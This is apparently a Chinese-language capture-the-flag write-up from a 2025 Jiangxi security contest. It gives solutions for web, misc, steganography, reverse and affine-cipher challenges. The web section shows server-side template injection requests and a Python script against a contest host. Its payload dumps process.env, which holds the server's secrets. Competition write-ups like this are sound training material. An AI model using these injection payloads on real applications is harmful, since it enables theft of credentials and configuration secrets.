2025江西省振兴杯网络安全wp
Web1 神探狄仁杰
第一部分

第二部分

第三部分

拼凑起来
ZmxhZ3s1ZDE2YTM3Y2NkYjZlNTU0OWNjMzgyOTU0ZH0=
Base64解码,得到flag
flag{5d16a37ccdb6e5549cc382954d}
Web2
Basket功能显示。403
![[Pasted image 20251019182340.png]]
我们可以购买导航到 Our services
![[Pasted image 20251019182539.png]]
如果我们购买任何商品并返回,我们会看到它显示价格和详细信息。 baske
![[Pasted image 20251019182622.png]]
我们看到它显示了购买服务的价格和数量。它还会在每次刷新时生成新的比特币地址。请求如下所示。
Buy
POST /buy HTTP/1.1
Host: 111.74.9.131:10115
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 29
Origin: http://111.74.9.131:10115
DNT: 1
Connection: close
Referer: http://111.74.9.131:10115/services/malware
id=2&type=malware&price=0.053
尝试 SSTI 尝试成功输入
POST /buy HTTP/1.1
Host: 111.74.9.131:10115
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 27
Origin: http://111.74.9.131:10115
DNT: 1
Connection: close
Referer: http://111.74.9.131:10115/services/ddos
Cookie:
basket=eyJwdXJjaGFzZXMiOnsiMCI6eyJ0eXBlIjoibWFsd2FyZSIsImlkIjoyLCJwcmljZSI6IjAuMD
UzIn19fQ%3D%3D
id=1&type=ddos&price={7*7}
![[Pasted image 20251019182752.png]]
查看响应标头,我们看到服务器是使用 NodeJS Express 框架托管的。
HTTP/1.1 200 OK
X-Powered-By: Express
Set-Cookie:
basket=eyJwdXJjaGFzZXMiOnsiMCI6eyJ0eXBlIjoibWFsd2FyZSIsImlkIjoyLCJwcmljZSI6IjAuMD
UzIn19fQ%3D%3D; Max-Age=900; Path=/; Expires=Mon, 26 Apr 2021 05:23:06 GMT;
HttpOnly
Content-Type: text/html; charset=utf-8
Content-Length: 17
ETag: W/"11-KLSLPG1b7/ut5NWgA8Up/1GscNo"
Date: Mon, 26 Apr 2021 05:08:06 GMT
Connection: close
{"ok":"Success."}
我们可以尝试与 Jade 或 Handlerbars 模板引擎相关的有效负载。我写了一个简单的 python 脚本来注入。
import re
import sys
import requests
r = requests.post('http://111.74.9.131:10115/buy', data=
{'id':'1',"type":'malware',"price":sys.argv[1]})
c = r.headers['Set-Cookie'].split('=')[1].split(';')[0]
r = requests.get('http://111.74.9.131:10115/basket', cookies={'basket':c})
print(re.findall(r'Total:.*',r.text)[0])
使用参数运行此脚本会给我输出。python task.py {{this}}
![[Pasted image 20251019182941.png]]
然后输入参数找到flag python task.py '{{JSON.stringify(process.env)}}
![[Pasted image 20251019183002.png]]
flag{f3fecff7-ff06-497f-860d-402fefcbe5b6}
Misc1
246ovpbPKhPjC5yz37WQaikoHDmuzENX2VqAer8
为base58编码,解出得到flag

flag{W31c0me_t0_zxb_xxaqgly}
Msic2
stegsolve,lsb,rgb,导出通道1,然后hex解码就行了
666C61677B30353963376562613466336634353166623566347D

flag {059c7eba4f3f451fb5f4}
Reverse1
cipher = "AZFXK}qyuc_ge_ogwatxr_uhgzxpua_ktukKQErh{"
key_seq = [1,2,3,4,5,6,7]
plain = []
for i, c in enumerate(cipher):
k = key_seq[i % 7]
if c == '{':
plain.append('}')
elif c == '}':
plain.append('{')
elif 'A' <= c <= 'Z':
tmp = ord(c)
while tmp - k < ord('A'):
tmp += 26
plain.append(chr(tmp - k))
elif 'a' <= c <= 'z':
tmp = ord(c)
while tmp - k < ord('a'):
tmp += 26
plain.append(chr(tmp - k))
else:
plain.append(c)
result = ''.join(plain)
print(result)
ZXCTF{jxsz_by_network_security_goodJOBnc}
Crypto1
oclz{loovyd_vb_l_bvnucd_hqpumj} //(11x + 11) mod 26
从题目来看,这应该是一道基于仿射密码的 CTF 密码题,其中oclz{loovyd_vb_l_bvnucd_hqpumj}是密文,(11x + 11) mod 26是加密函数(假设 x 代表明文对应的字母序号,如 A=0、B=1……Z=25)。解题步骤如下:
- 明确仿射密码的加密与解密原理
仿射密码的加密公式为:c ≡ (a*x + b) mod m其中:
x是明文(0-25,对应 A-Z),c是密文(0-25),m=26(字母表长度),a和b是加密密钥。
本题中加密函数为(11x + 11) mod 26,即a=11,b=11,m=26。
解密需要先求a在模m下的逆元a⁻¹(满足aa⁻¹ ≡ 1 mod m),再用解密公式:x ≡ a⁻¹(c - b) mod 26
- 求a=11在模 26 下的逆元
需要找到整数a⁻¹,使得11a⁻¹ ≡ 1 mod 26。通过尝试或扩展欧几里得算法计算:1119 = 209,209 mod 26 = 1(因为 26*8=208,209-208=1),因此 a⁻¹=19。
- 推导解密公式
将a⁻¹=19,b=11代入解密公式:x ≡ 19*(c - 11) mod 26
- 对密文进行解密
密文为oclz{loovyd_vb_l_bvnucd_hqpumj},先忽略特殊字符({、}、_),按字母顺序解密,步骤如下:
每个字母转换为对应的密文序号c(a=0, b=1, …, z=25);
代入解密公式计算x,再转换回字母。
flag为flag{affine_is_a_simple_crypto}
更多推荐
所有评论(0)